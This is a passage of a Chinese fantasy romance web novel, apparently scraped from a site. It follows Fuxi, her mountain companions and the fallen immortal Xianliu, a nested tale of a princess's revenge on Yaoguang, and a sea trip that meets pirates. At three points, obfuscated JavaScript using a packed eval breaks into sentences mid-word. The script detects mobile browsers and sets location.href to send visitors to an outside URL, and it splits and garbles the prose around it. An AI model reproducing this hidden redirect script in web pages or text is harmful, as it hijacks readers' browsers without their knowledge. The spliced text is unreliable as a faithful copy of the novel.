陆眠望着她,欲言又止,踌躇半晌:“你,你喜欢小侯吗?” 十一听他这么问,自然而然地点点头:“喜欢啊。” 陆眠得脸色彻底灰败下来,他手忙脚乱地点点头,胡言乱语起来:“是啊。是啊,我看天色晚了,还是去找山君商议一下吧。嗯,对的,山君应该也醒了,不知道她今天还要不要吃饭......” 扶西脑袋有点大,她好像办错事情了。 夭寿,她自认观察能力不错,难道还是观错了。 “山君!” 陆眠被她吓了一大跳。 “你要去哪?”扶西开门见山。 陆眠此番归来,确实是不舍山中众人,可如今十一嫁了小侯,他几番试探,终于彻底死心,还不如先离山修行,其他的事往后再说。 “我,我也不知。” 总之先离开扶西山吧。 扶西给他拦下来,围着他转了两圈,上下打量,搞得陆眠心虚起来:“不过,我自然是要等山君取回真身才启程。” 扶西摇摇头:“这倒是无妨,陆眠,你将修为渡给十一了?” 十一小跑过来,目光诧异,怪不得,她还以为自己天赋极佳,没想到是陆眠的手笔。 言语间,远处又来一人,身形高大,眉目深邃,常常下压的嘴角此刻轻轻扬起。 “山君,你真身取出来了?我竟恢复了人形!”他语气欢欣雀跃,看到十一也恢复人形,咧嘴露出两排洁白的牙齿,“我这就去做一顿好吃的!” 扶西将他扯回来,望着陆眠:“你可真有本事,还挺大方的。” 陆眠抿唇不语:“山君真身不知何时才能取回,总让她二人窜来窜去的,也为难,毕竟以人形活了这几百年。” 小侯也明白过来,不免脸红起来:“这,这,不如我还给你吧。” 扶西觉得有些话还是应该说清楚,便直接了当道:“陆眠,你是不是喜欢十一?” 陆眠闻此,一张脸变得煞白,身形摇摇欲坠,心事被毫无预备地戳破,他几乎要昏死过去。 扶西听他不说话,干脆道:“不如你也和十一成亲好了。” 陆眠被她这惊雷似的话吓了个半死:“山君,这,这怎么行……” 扶西安抚他:“无妨,我见人间许多人都这么干,喜欢几个娶几个,就是大小不好分。”扶西竟自己安排起来,“若是说能力,陆眠你温柔可人,能容人,做大的好,可若是说时间,小侯比你早与十一成亲,按理,他应该是大。” 十一拍拍小侯的肩:“小侯,你怎么看?” 小侯听得迷迷糊糊,心里还惦记着灶台上的砧板好像没洗,下头垫的石头可以撤了,锅里炖的土豆应该烂了…… “我不在意,做大做小都可以。” 石破惊天,陆眠差点昏死过去,他稳住身形,终于肯承认:“我喜欢十一不假,可她与小侯两情相悦,我绝不做插足的人!” 他说得义愤填膺,嘴唇都快被抿烂了。 扶西拍拍他肩膀安慰:“既然喜欢,为何不能在一起?白白苦了自己。” 陆眠望着这三个人,他原以为山君多少明白一些,今日一看,也是个糊涂鬼。 “这种东西,要一心一意。” 扶西思索:“你的意思是,十一不喜欢你吗?” 陆眠的心更痛了。 十一忙不迭道:“不不不,我喜欢的,我也喜欢陆眠。” 陆眠诧异地回过头,望着十一那双颇为天真的眼,头痛欲裂,这么说,这么说,并不是他单相思,而是,而是…… “我也喜欢山君,喜欢熊婶,喜欢……” 刚燃起的火苗瞬间就被扑灭,陆眠望着眼前几人,心如死灰。 这海上仙山里所有的糊涂鬼都聚在扶西山了吧! 他两眼一黑,胸口似有撕裂的痛感,天旋地转,面前的三张人脸摇摇晃晃,重叠在一处,最后变成十一屈着的眉眼。 “陆眠——” * 献流睁开眼睛,望向洞外,彩霞漫天,他微微一笑,不知不觉,竟已过了这么久。 果不其然,他这段时间就是修炼少了,才会胡思乱想。 筋脉之中,热意涌动,献流缓缓站起,踱步到洞口,这才发现此处竟有细细的波纹,扶西如此不放心,还在这里设了结界拦他。 真是多此一举。 自拜入天君门下,他日日苦修,不曾懈怠,修行对他而言不过家常便饭。师弟师妹常称他剑痴,一开始练功就没完没了。 对了,他的剑呢? 献流下意识地摸向腰边,想来并未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037555|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随他一起坠入山中,他抬起头意图感应,却发现自己修为恢复的程度比起从前实在是九牛一毛,不值一提。 若有无定剑在手,人剑合一,定能快起来不少。 可惜现下感应不到,他略有失落地收回手指,回望洞中各式物品,看来扶西是不想他出去了。 耳畔传来嬉笑打闹之声,献流凑过去看,正看见扶西身旁跟着一男一女,她怀里还抱着一个,正是那日前去救他的陆眠。 那女的说:“山君力气好大呀!不过陆眠真不禁说话,怕是我们在他旁边叽叽喳喳,他听不了了。” 扶西把人抖了抖,觉得手酸,遂递给小侯:“你抱会儿,我有些累了。” 小侯顺从地接过来,端端正正地跟抱柴似的把人抱好:“莫非他不想做大,我听闻大的要时刻包容,还要经常找小的送去。” 扶西抚了抚下巴:“确实如此,不过陆眠向来心胸宽广,必不会在意这些。” 十一也凑到小侯旁边来:“不如也让我抱抱看,陆眠常常关照我,他晕过去了,我抱抱他也是应当的。” 小侯颠了两下,把陆眠递到十一怀里。 十一小心翼翼地接过来,就着昏黄的霞光打量陆眠的五官,虽有些重,但勉强还能稳住。 献流将几人的话全收入耳中,他打量着那个陌生的男人,眉头渐渐蹙起,这扶西怎么回事,左一个红生,又一个陆眠,现在这人看着关系也十分亲密。 又是谁? 他无意识地握紧了拳头,眼睛定定地看着扶西,只觉得她此人四处留情,十分不可靠,他呼吸愈发粗重,心里头没来由地烦躁起来。 不成体统!他想。 扶西迈过一处草丛,里头竟不合时宜地窜出只松鼠,扶西将要落地的脚打了个转,脚踝一歪,直直朝前扑去。 献流见此,胸口堵得厉害,全然忘记了面前还有个结界,就这么跑了出去。 小侯见此情形,立刻眼疾手快地抽出腰间的锅铲,递到扶西手边。 扶西稳稳抓住锅铲,将将起身,便听到旁边传来砰的一声。 几人齐刷刷回过头去,小跑过去,只见献流脸朝下,大字趴在地上,结结实实摔了个狗啃泥。 扶西望着洞口和地面将近一人高的台阶,目光凝滞。 他跳出来做什么? 不对,不是有结界,他怎么跳出来的? 献流颤颤巍巍地抬起手臂,缓缓将自己从地上竖起来,他让自己动作尽可能从容不失风度,可两颊的泥却结结实实地扒在脸上。 他忘了,洞口有个台阶。 结界呢?怎么没挡住他? 扶西大步上前,竟莫名手痒难耐地挠了挠他的头发,揪了揪他的脸颊:“夭寿,这也没长草啊?怎么还是这么笨!” 他呆呆愣愣地立着,扶西凉丝丝的袖角拂过脸颊,却是热意。献流望着扶西那张笑得开怀的脸,方才的尴尬似乎渐渐随风散去,只剩下一具无措的躯体。 “呀,我的手。”扶西看着手掌上的泥,想了会儿,又揩回献流脸上。 陆眠此刻也在十一怀中幽幽醒转,首先映入眼帘的是一双漆黑如墨的葡萄眼,他脸一热,手脚僵硬。 整个人像个木杆一样,立时直梗梗地从十一怀里退出来。 扶西指着洞口:“陆眠,你这结界不对劲,他怎么出来的?” 陆眠望着对面的人,嗫嚅几下,结结巴巴道:“我,我之前夜里见他从山君房里出来,还以为,以为晚上你们要……故而这段时间开了结界……方,方便……” 扶西蹙眉:“方便什么?” 十一上前接话:“这个我知道,当然是为了方便你们私会啦!” 29. 放你爷爷的狗屁! 麟寻望着面前两张颇为相似的脸,不由地紧张起来,她喉头动了动:“历劫如何?” 卫和颇有些难为情:“这……” 卫风在她旁边蹙着眉,看着十分不快,良久的沉默后,他重重拍了拍桌子:“这个命书太烂了!你说什么什么灵光,什么什么仙子,当真因为这相似的命书成亲了?” 麟寻想起那日天外所见,思忖了会儿,颇有些心虚地点点头。 卫和不免想起初见献流那日,瑶池盛会,众仙齐聚,魔界亦来了不少人。 烟雾缭绕之间,她远远地望见献流一身白衣,身姿挺拔,冷峻的双眼看似波澜不惊,却在看向自己时微微震动。 卫和当即一见钟情,摸了半晌终于找到献流的师妹——麟寻打听他的喜恶,却意外得知两人已有婚约。 她刚刚才起来的悸动就这样被兜头浇了一头冷水,谁料麟寻见她如此模样,反而主动找了上来,言明自己对献流无意,还能帮卫和俘获献流芳心。 几人一拍即合,由魔君卫风在东海之滨化作凶手饕餮,麟寻引献流前去绞杀,而后悄然击中,使献流坠入人间,而后再与卫和来个三生三世。 到时候回归天庭,他或许已同卫和两情相悦,不仅不会过多追究,还能主动前去退婚。 岂非两相得利? “怎么?在人间,献流没爱上你吗?”麟寻去问卫和。 卫和支支吾吾,嗫嚅半晌。 “怎么说呢……” 她在凡间,投胎在一处名叫加罗的小国,是国主最小的女儿曼吉,从小受尽宠爱,却一朝被献流所化的摇光欺骗,导致举国被灭。 按命书所言,她应当被摇光带回中原,和他成亲,开启他追她逃 的狗血盛宴。 可曼吉自那日国破坠崖,借助摇光的鹰翅逃出生天,从此开启了北境各国流浪的生活。 她怀着十分热烈的恨意,恨自己,也恨摇光,卧薪尝胆,暗中培养势力。 从前欢乐的时光一去不复返,她一个亡国公主,先后嫁过三个部族首领,以婚姻之名将各部族势力收入囊中,而后毫不留情地杀掉首领,自己上位。 不知是不是血液里自带的嗜战,短短七年,她几乎扫平北境,马背上的大军骁勇善战,在她的带领下继续向中原推进。 而此时的大周,摇光已登上皇位,虽是九五之尊,接过的却是个摇摇欲坠的国家,贪污腐败盛行,民生艰难,即便他有雷霆手段,也无力回天。 几乎是同时,曼吉在漫天飞雪里裹着厚厚的皮裘,下达了荡平中原的指令。 正如摇光所言,她们北境蛮夷确与野兽无异,所到之处,烧杀抢掠,无恶不作。 摇光在重重火光中拔剑自刎,不可思议地望着那个从夜色中缓缓现身的北境首领。 他不可置信地顿住了动作,细细打量着曼吉的脸庞。 “你大不一样了。”他几乎绝望。 曼吉点头:“你也是。” 摇光望着她的脸,通红的脸颊,皲裂的唇,眉上的刀疤直到眼角,一双眼睛坚毅得不像话。 看得出她确实吃了很多苦。 “你说要叫我后悔,你果然说到做到,曼吉。”摇光又抬起长剑。 曼吉心头的恨意与爱意交织着,她缓步向前,根本不理会摇光身旁那些惊弓之鸟一样的侍卫。 “若再向前,必取尔等性命!” 曼吉只觉得他聒噪,手臂动作间,锐利的匕首已刺破那人颈间脉管,温热的鲜血喷涌而出,有几滴溅落在她颊边。 她视若无睹,反而朝摇光走近,起初她确实想杀了他,可如今看着他这绝望的双眼,颤抖的双手,启阖半晌却说不出话的双唇。 她微微一笑,原来当日的摇光是这样的心境。 她缓缓将长剑按下去,看着摇光几近惊恐的眼:“摇光,我该这样叫你吗?” 他抿住唇,腮边流下一行泪。 “何必去死,当日你问我愿不愿意嫁给你,今日同样的话,我也问你。” 摇光动作忽而剧烈起来,他摇着头:“众人皆死,我又何必苟活!” “是么?你不想活下来,像我一样找你复仇吗?” 摇光愣了愣,他望着曼吉的脸,重重地摇了摇头:“不,你不是曼吉了,再也不是曼吉……” 曼吉闻此,心中怒火愈盛,她猛然扼住摇光的喉管:“见我如今再不能被你的花言巧语哄骗,便失望地告诉自己面前这人不是从前那个天真善良,时刻羞怯的小公主吗?”她见摇光瞳孔失焦,唇色惨白,下意识松了松手,“摇光,在你决定欺骗我的那一刻,从前的我就不复存在了!” 摇光眼眶通红,他手臂微动,曼吉腹前一紧,她有些迟钝地低下头,望着刺入身体的长剑,脑袋忽然炸开。 “这样么?”她面不改色地后退,“既然如此,当年你欠我的一剑,此刻还给你!” 言罢她毫不犹豫地将匕首捅入摇光锁骨,鲜血如注,曼吉却莫名如释重负。 她不觉腹间伤口疼痛,只在众人的簇拥下缓缓起身,淡定地吩咐:“看好,别叫他死了,最好洗得干干净净,送到我的寝宫。” 此后数十年,摇光几次行刺都无疾而终,到后面,他也心疲力竭,几乎恳切地祈求曼吉:“你杀了我吧。” 曼吉不觉生气,竟隐隐觉得他有些可爱,只捏住他的下巴,笑容一如从前,心境却不复往日:“摇光,你如今就是我的一条狗,我叫你生,你怎敢去死?” 她什么药都给他下,什么春药,慢性毒药,让他行动不便的药,久而久之,摇光的身体越来越差,曼吉才意识到自己或许有些过头了。 她登基称帝,便有无数的美男被送进后宫,她贪婪地享受着年轻貌美的□□,差点忘了还有个摇光,他没名没分,一直住在皇宫角落。 她不让人与他往来,除了自己,摇光连宫女也见不着,可屋里屋外,都是他看不见的眼睛,监视之人何其之多,只要有半分动作,曼吉都能第一时间知道。 故他服药自杀数次,总能被及时救回。 直到最后一次,摇光面庞苍白,执意找到曼吉,寝殿中,是投怀送抱的世家公子,面庞与从前的摇光颇为相似,红润饱满的脸颊,看似天真无邪的眼睛,看得曼吉一时恍惚。 殿外,摇光只身立在风雪中,双膝深深地陷在雪地之中,近日抓住的前朝余孽,正是他做皇子时的恩师。 曼吉耐着性子踱出殿外:“我告诉过你,别瞒着我偷偷溜出去,是你与他商议要毒杀我,这才被逮住。” “只能处死。”她微微笑着,眼神却毒辣。 摇光瘦了许多,他垂下眼睫,视死如归:“要我怎么做,你才能放过他。” 曼吉想了想,又兴致勃勃将他睡了一回,或许是有求于人,他难得卖力,夜深人静时,他凑到曼吉耳边,悄声说话。 “曼吉,是我罪有应得……” 她睡得浅,却装作没听见的样子。 或许她是有些兴奋的,摇光主动服软,既然如此,她平日里待他好一点也不是不行。 “可老师何其无辜,当年的事他也不曾参与,平日里,他……” 曼吉忽然睁开眼睛,扼住他的喉咙,将人抵在墙上:“为了救你老师,你不惜主动出卖色相,摇光,你一身傲骨何在?” 摇光神色恹恹,并不反抗:“我如今,早就没有这个东西了……”言罢,他口中吐出鲜血,不曾停歇。 曼吉慌张无措地松开手,替他擦去唇边血迹,岂料越来越多,染湿了她的袖角,望着摇光渐渐瘫软下去的身躯,她近乎疯狂,不顾形象地咆哮起来。 “太医,太医何在!” “救不回来,我要你们陪葬!” 怀中的躯体渐渐冰冷,曼吉不解,他究竟是在什么时候服下的毒药,掌心中摇光的指节动了动。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044135|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓睁开眼睛。 曼吉神色由焦急转做惊喜:“你不许死,我马上就放了你的老师,好不好?” 摇光依旧虚弱,他瞳仁渐渐放大,目光所及,似乎是夜色下热闹非凡的伽罗城,他好像又戴着鹰翅飞到天上,微微低下头,怀里是曼吉惊喜的眸子。 “曼吉……” “我在呢!”曼吉紧紧握住他的手。 “我,我好像飞到了伽罗城上空。”他力气将竭,快连一句完整的话也说不出来,“怀里是你,是不是?” 曼吉愣了愣,太久了,她快记不清了。 “是……”她唇舌颤抖。 “我是真的摇光,就好了……”他脖颈扬起,呕出一大口血,涣散的眼神终于在最后一刻聚焦,“这样,就,就可以……” 不及说完最后一句,他的身体已彻底冷了下去。 曼吉□□:“可以什么?你说,你把话说完!” 怀里的人却再也不会回应了。 卫和颇有些尴尬地笑了笑:“我活到九十多岁才死,这后头也遇到些和摇光像的,有的气质像,有的模样像……” 麟寻蹙眉,有不好的预感:“你都睡过了?” 卫和抿着唇,不答话。 麟寻无奈地揉了揉眉心:“你既三心二意,他自不会一心一意。” 卫和扁扁嘴:“那我能怎么办,人生漫长,难道我要为他守一辈子吗?” 说完她又呵呵笑了两声:“能把这一世的记忆给他消除吗?” 卫风也蹙着眉:“这命书太烂了,你真不是被骗了?”他在殿中来回踱步,“这一回,我们得亲自选选,再弄成这样,还怎么叫他念念不忘?” 麟寻点头,表示赞同。 说话间,有虾兵蟹将通传,说是蓬莱岛主褚易求见。 麟寻将卫风兄妹二人藏起,看着褚易有些焦躁地进来。 “师姐你看看这个。”他递来一张信纸,上头字迹笔势颇为眼熟。 “二师兄说他遭逢大难,要我去救?”他挠着头,“为防止被骗,我上天界,确实不见他,此事可真?” 麟寻接过来细看,转而抬手将纸化为灰烬:“别被有心之人骗了,师兄如今在人间历劫,并不在此信中所指的扶西山。” “历劫?”褚易恍然大悟,“怪不得不见他人,兹事体大,为何我们都不知道。” “事出意外,目前只有我同师父知晓,你也不要宣扬,以免惹出祸事。” 褚易重重点头,心里怒火中烧,这年头,居然有人敢骗到他头上来,真是不要脸! “明白了,师姐,我先告辞了。”他施法离开,思忖着如何报复一番。 * 扶西山中,众人望着停在沙滩上的青鸟,都不敢上前,因为不论谁去,都会被啄回来。 除了献流。 他步伐从容:“我说过,师弟与我相交甚笃,此番若得他相助,恢复修为指日可待。” 扶西抬眼望着,难道他这身份竟是真的么?时隔半月,蓬莱岛主果真给他回信了…… 她搓着衣角,竟紧张起来。 献流接过青鸟喙中信件,缓缓展开。 “砰——” 火花四起,烟雾升腾。 青鸟居然炸了! 献流咳嗽两声,吐出几口烟,头发上满是黑乎乎的灰土,一张脸也糊满了焦炭,跟掉下来那天差不了多少。 众人立时齐刷刷地凑上去,十一的脑袋压着扶西的肩膀,陆眠身后的小侯踮起脚尖。 展开的信件还没被炸烂,上头的字迹清晰可见。 扶西念出来。 “放狗屁。” 陆眠指着下头一行小字。 “你爷爷的。” 小侯将两人的话连起来,声音越来越小:“连起来读看看。” 扶西大笑出声,拍着手快要站不稳。 “放你爷爷的狗屁!” 30. 酒驾!!! 扶西拍板,说要出海。 山中众人面面相觑。 陆眠不解:“山君出海做什么?” 殊不知,前两日,她将洞府翻了个底朝天,刨出一些装了不知多少岁月的天材地宝,千年人参,百年灵玉,虽说不多,但也是好东西。 话不多说,当即全抱了放去献流面前,半劝解半威胁叫他全用了。 这人修行的本领实在太烂,都这么久了,问他恢复了多少,他只颇有些难为情。 “不足之前的百分之一。” 真是比扶西修行还烂,她自认已经够随心了,全靠躺着吸收日月精华,这人日日在山洞里修炼,什么仙气运转几个周天,浑身筋脉热气涌动,嘴巴里说书似的吐出一堆,还以为他多厉害。 再加上经了“放你爷爷的狗屁”那一遭,扶西再不相信他的自证了。 “他内力运转堪比老石磨,我要弄些宝物回来,传闻鲛珠对修行极其有益,我得给他加一把外力!” “你们要不要与我一起去?” 十一率先发声:“我想去!” 扶西转向另外两人。 陆眠眼睛眨巴得极快,半晌才点点头,又摇摇头,那副拧巴的样子看得扶西牙痒痒:“到底去不去?” 他望了两眼十一,又去看小侯。 “我不去。”小侯坐得笔直,浓眉大眼的脸庞上写满了“我要做饭”。 “况且大家都去了,得有人守着扶西山。” 扶西点点头,实在理解不了陆眠的心情,拍拍手当即决定下来。 都去! 跟安阳老头讲了两声,红生也兴致大发,他思索了会儿,变作一艘两层小楼高的大船,停靠在扶西山旁的海滩上。 扶西胡乱收拾了点行李,又从房里搜罗出一只沾了灰的灵芝,想了想,还是决定去和献流说一声。 扶西穿过山洞的结界,洞内却不见献流。 自上次“青鸟事变”后他沉默了不少,只在扶西给他抱来一堆灵药眼神波动两分。 “你来了。” 献流鬼魂一样出现在扶西身后。 扶西转过来,把那株灵芝递给他,语重心长:“别管了,快吃了。” 献流身体一僵,立时从扶西手中抓过灵芝,看也没仔细看便囫囵吞了下去。 他周身散开一阵淡淡的金色光芒,又即刻收敛回体内。 他蹙起眉头:“只以天材地宝滋补,无异于揠苗助长。” 扶西摆摆手,只道他又来这一套:“管他什么揠苗助长,你难道不想快些恢复,即刻离开这里回家去吗?” 献流一怔,即刻离开扶西山? 刚掉下来的时候这意愿确实好像挺强烈的,数月过去,他居然快将这件事忘了…… 这些日子,他白日在山洞中修炼,晚饭后扶西大发慈悲允他一段可以自由休息的时间,他常去后山逗弄那些飞禽走兽,时而给小侯帮帮忙,从他手里竟学了不少做饭的手法。 扶西难得夸了一两次,他总是垂着头浅笑,再不说多的话。 许是最近所行之事并不耗费仙气,他已经没再出现过像人间那种情况了。 说是说百分之一,他颇为不谦虚地想,他的百分之一,应当可以抵得上十个扶西了。 再攒九十个扶西,他就能离开扶西山…… 献流垂眸:“你说的不错。” 说完这句话,莫名的,他心头竟涌上来一些不合时宜的失落。 好奇怪。 “我出海,给你捞十几二十个鲛珠回来,你全吸收进去,定能一日千里!”扶西咧嘴笑了笑,拍了拍他的肩膀。 “出海?”他面庞露出两分不解,“何必呢,我闭关就是了。” 听闻鲛人居住在东海深处,泣泪成珠,是入药修行的至宝。只是鲛人颇善诱惑之术,求珠的人常常被困在幻境中,而后被鲛人生吞活剥。 鲛珠虽好,却不必强求。 扶西却道:“在山里憋得厉害,还是想出去一趟。”她笑笑,“没事嘛,我们出去,你在山里闭关,等你出关,我也回来了。” 献流摇头:“这怎么是出去玩,你了解过吗?贸然前往,只怕出事。” 这怎么不是玩? 扶西不明白献流的担忧从何而来,莫非是看不起她山中众人?虽说大家都是小小地仙,修为不高,但对付鲛人也不是难事。 再说了,干嘛要对付人家,好好谈谈不行吗? “你不必担心,我去意已决,你好好修炼,把我真身还回来就是了。” 献流一张脸憋得难受,他将从前种种回忆了一遍,最后嘴唇艰难启阖,憋出一句:“你,你不必为了我,做到这种地步……” 扶西却不解他意,只安慰似的拍了拍他衣襟:“无事,你好好吸收,我们走了。” 献流望着她背影,终于喊出声来:“你什么时候走?” 扶西思忖了会儿:“今夜吧……”她回头跳出山洞,“走啦!” 献流心头微动,掌心开合,火焰升腾,他想了想,朝着山洞重重一击。 * 巨大的楼船行于海上,月色之下,船帆随风鼓动,扶西几人坐在甲板上吹风。 腥咸的海风吹来,扶西望向远处的扶西山,正打算开口感慨两句,却见山中忽然腾起巨大的火柱,漫天火光竟能照到船上来。 扶西的脸上映着跳跃的火光,急得像热锅上的蚂蚁,她拍了拍船身:“红生!快,调头!” 几人行回扶西山中,却见一切如旧,方才亲眼所见的火焰仿佛一场梦境。 扶西松了口气,又鬼使神差地踱到山洞前头,结界内,献流似乎正在全神贯注地修行。 小侯跑过来:“山君,你们怎么回来了?” “我见山炸了,吓死了。” 小侯眸子微眯:“方才确实晃了晃,不过并无意外,约莫是轻微的地震?” 扶西再三确认,这才返回。 夜色愈浓,陆眠和十一回去睡了,扶西却总觉得哪里不太对劲,依旧坐在甲板上。 她望着远处那个又大又圆的月亮,忽而想起自己幼时曾望月兴叹,这辈子若能去一趟广寒宫,见一次嫦娥仙子就好了。 她把手掌搭在脑后,缓缓躺了下去。 “嫦娥仙子,长什么样子呢……” 脸上忽然被一片阴影盖住,扶西惊恐地睁大眼睛,却看见一张熟悉的脸,月色勾勒出他挺拔俊俏的轮廓。 人高马大,眼睛却瞧着有些懵懵懂懂。 “彩衣,白脸,黑头发。”他一字一句道。 扶西吓了一跳,立时坐起身来,却猝不及防地和他鼻尖撞在一处,她捂着鼻子:“你,你怎么来了?” 献流揉了揉鼻尖,微微一笑:“我说了,鲛人很危险。” “你不是应该给我好好在山里给我闭关修炼吗?”扶西挪过去,一只脚抬了又放,放了又抬,真想给他一脚。 献流眉眼压低,夜色中模糊不清的脸庞上,唯有那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056413|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双眼睛亮得不像话:“我来保护你。” 她蓄势待发的脚顿在半空,纠结了会儿,轻轻碰了碰他脚尖,立刻收了回来。 忽然有点惭愧。 扶西视线缓缓往上,只见献流头上草叶招摇,她一惊,立刻冲上去揪住他衣襟:“你怎么又成这样了?仙气,仙气怎么会耗光的!” 献流上扬的唇角缓缓向下,他轻轻盖住扶西的手,松开她的手指,避而不答。 扶西想起方才的火。 “你,放,的?” 献流转过身去,声音细如蚊呐:“嗯。” 这个无所不用其极的男人! 扶西两条眼泪快甩到地上:“苍天呐,你怎么能这么糟蹋自己的仙气,你不要,都渡给我啊!” 献流挠了挠后脑勺:“你早说,我下次全给你。”他抬手,调动周身仙力,“现在也给你一些,如何?” “算了,你自己都不够用。” “嗯,是的,现在也没有了。”他不好意思地笑笑。 扶西重新坐回甲板上,抱着腿望月亮,楼船有红生仙力加持,行得极快。 才过了会儿,这楼船在极快的速度下竟歪歪扭扭,横冲直撞起来。 献流蹙起眉头,只觉得腹中翻江倒海起来。 扶西不明所以,立时跑进楼船最靠里的船舱,里头果然一片狼藉。 红生趴在桌上喝得不省人事,嘟嘟囔囔不知说些什么。 好石头坐在对面,没嘴没脸,喝的酒全顺着身子到处淌。 她上前去把红生拉起来,晃了几下:“你怎么喝酒啊?!” 红生眼神迷离,一张极年轻的脸上满是不解,他眯起眼睛打量扶西,半晌道:“太好了,你来了!来,快来一起喝!” 扶西拍掉他的手,示意献流过来帮忙,两人将红生扯回榻上。他如今化作楼船,这里只是个暂时的身体。 “好石头,你也不劝劝他。” “……” “忘了你不会说话。”扶西转念一想,“那你也不该跟他一起喝,这也太危险了。” 海域虽然宽阔,万一撞到人家的船怎么办! “砰——” 巨大的响声过后,扶西摇摇晃晃地从地上爬起来,真想打一下自己的乌鸦嘴。 外头传来人声,她深吸一口气出去看。 只见楼船与一艘体型相差不大的船撞在一起,对面的船上火光冲天,杀声不断。 “小娘子,你别跳啊,让爷好好疼疼你!”这声音猥琐又油腻,扶西定睛望去,是个裹着红头巾的彪形大汉。 再顺着猥琐大汉视线望过去,甲板边上立着个身形羸弱的女子,她衣袂飘飘,发髻简单,上头的珍珠却大得不像话,夜色之下,莹润的光泽仿佛另一个月亮。 她颤抖着双手取下发间珠钗,丢到那人面前:“若你求财,此珠可保你一生吃穿不愁。”她咳嗽了两声,“我只求留我一条性命,船上的东西,你们都能拿走。” “从前便听闻聚景斋后头的东家是个貌若天仙的女人,今日一见,果然名不虚传!”他吸了吸鼻涕,“不如你今日跟了我,我们一齐享受这些财宝啊!” 那人仰天长笑,并不打算放过女人,反而步步紧逼。 女人转头看了看夜色下漆黑如墨,深不见底的海水,脑袋里嗡嗡作响。 扶西抬手,刚想道一句:“来我船上!” 那女子却一咬牙,倔强的脸庞上目光坚毅,她往后一仰,直直坠入水中! 31. 貌美男鲛 “哗——” 程衣是经商的好手,前两年做珠宝生意赚了不少,此前又听闻深海宝珠价值连城,她向来胆大,故而带了商队出海,却不想竟有海盗盯上了她。 船上除了一些临时雇来的水手,还有些随行的家丁丫鬟,此刻他们惨叫声连连,冰冷的海水刺激着她的鼻腔,只觉得胸膛中似有火烧。 巨大的楼船在月下投下一片阴影,程衣因着求生的本能在漆黑的海水中浮沉,不多时鬓发散乱,呼吸难继,她极力仰头望去,只见方才那恶心的男人正立在船头,哈哈大笑。 “娘子怎得这样刚烈,我又不会吃了你!”他更加幸灾乐祸,一提脚将几个垒高的油桶踢下楼船。 程衣惊恐地抬起头,慌乱地朝旁边躲避,她虽会水,可也经不住这么折腾,一来二去,差点精疲力竭。 她咬咬牙,憋了一口气沉入水中,奋力游了起来。 上头那人见底下没了动静,忽而有些担心,好在旁边的伙伴安慰他:“急什么,死了才好。” “可那人要我们带尸首回去复命,剩下的赏钱才能到手。” 伙伴重重拍了下他的后脑:“你是猪吗?这条船上的东西够我们活下半辈子了,还在乎什么复不复命!” “是呀!”那人反应过来,“你可真是我的好哥哥!” 说说笑笑间,两人终于走远。 程衣却因体力不支缓缓向海底深处坠去,失去意识前,她满脑子都是自己的商行,那都是她辛辛苦苦打拼了多年积攒下的家业,难道就要拱手让给程家那群一个都不如她的废物草包吗? 意识飘散之际,她竟莫名感受到身体周围的海水渐渐变得温暖,似乎有一双大手揽住了她的腰身,从被触碰的地方,有源源不断的温暖进入她的五脏六腑, 她终于能缓缓睁开眼睛,模糊不清的视线里,是一片如海藻般的银发,勉强能看清来人的轮廓,她浑浊的脑袋费力运作半晌,终于辨认出来,这是个陌生男人。 她艰难地开口:“多谢老人家......” 满头沧桑的银发,应当是附近岛屿上幸苦劳作的渔民,如此深谙水性,倒也契合。 她这句话后,那人的手臂微不可察地僵硬了片刻。 海面上的火光射入海底,程衣的目光顺着光线缓缓往下,居然看到一条优雅摆动的鱼尾,她思索了一会儿,脑袋轰的炸开。 等等?再看一眼。 她似乎看到男人唇边的一抹浅笑,只觉得愈发喘不上来气了,只默了一瞬,她又开始神志不清起来,面前是一张缓缓放大的面庞,哪里是什么老迈的渔翁,分明是个青春年少的俊俏佳人。 唇上传上温热的触感,程衣似乎觉得身体热流涌动,胸腔即刻有了喘息的空间,她的面前终于渐渐清明起来。 男人,美丽的男人,身上挂着贝壳珍珠,一条五彩斑斓的鱼尾,连耳朵都生得十分妖异。 难道,她居然遇上了传说中的鲛人?那个善于用歌声蛊惑人心,然后把人吃进肚子里的鲛人? 从嘴巴开始吃?! 程衣立刻挣扎起来,不多时,她又呛水晕了过去。 * 扶西的声音散在风里,她放下手,望着远处熊熊大火的商船。 “看起来不像是仙界的,仿佛是凡人的船。”陆眠道。 扶西点点头:“凡人的船是怎么驶进仙界来的?莫非这些人竟有仙缘吗?” “穷凶极恶,烧杀抢掠,何来仙缘,哼!”献流出声,一派正气凛然,“他们应该是跟着方才那女人误入的。” 